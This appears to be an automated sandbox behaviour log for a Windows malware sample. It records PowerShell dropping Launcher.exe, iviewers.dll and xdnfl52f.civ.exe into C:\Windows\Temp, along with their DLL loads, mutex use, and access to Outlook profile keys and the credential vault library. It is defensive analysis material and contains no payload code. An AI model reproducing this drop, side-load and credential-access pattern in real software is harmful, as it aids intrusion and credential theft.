Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9FC8E510-A27C-4B3B-B9A3-BF65F00256A8}\InProcServer32

Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Temp\Launcher.exe

Window detected: Number of UI elements: 24

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:

Binary string: OLEView.pdb source: Launcher.exe, Launcher.exe, 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Launcher.exe.0.dr

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0066B905 __EH_prolog3_GS,#540,#4155,StringFromGUID2,wsprintfW,RegQueryValueW,#540,#540,#538,#4155,#4155,#940,#4155,#940,#1197,#355,#2507,#3494,#858,#800,#800,#641,LoadLibraryW,GetProcAddress,#800,#641,#4155,#4155,#940,#1197,FreeLibrary,#6398,#800,#800,#800,#800,

3_2_0066B905

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FF848F400BD pushad ; iretd	0_2_00007FF848F400C1
Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_0067F3B0 push ecx; ret	3_2_0067F3C3
Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_0067FDDD push ecx; ret	3_2_0067FDF0
Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_00665EF0 pushad ; ret	3_2_00665EF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04EF636D push eax; ret	4_2_04EF6381
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6BCAB2 push rdi; retf 0004h	10_2_00007FF75A6BCAB5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\Launcher.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\iviewers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\xdnfl52f.civ.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\Launcher.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\iviewers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\xdnfl52f.civ.exe	Jump to dropped file

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6EC600 ExitProcess,OpenMutexA,ExitProcess,CreateMutexExA,ExitProcess,ReleaseMutex,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

10_2_00007FF75A6EC600

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
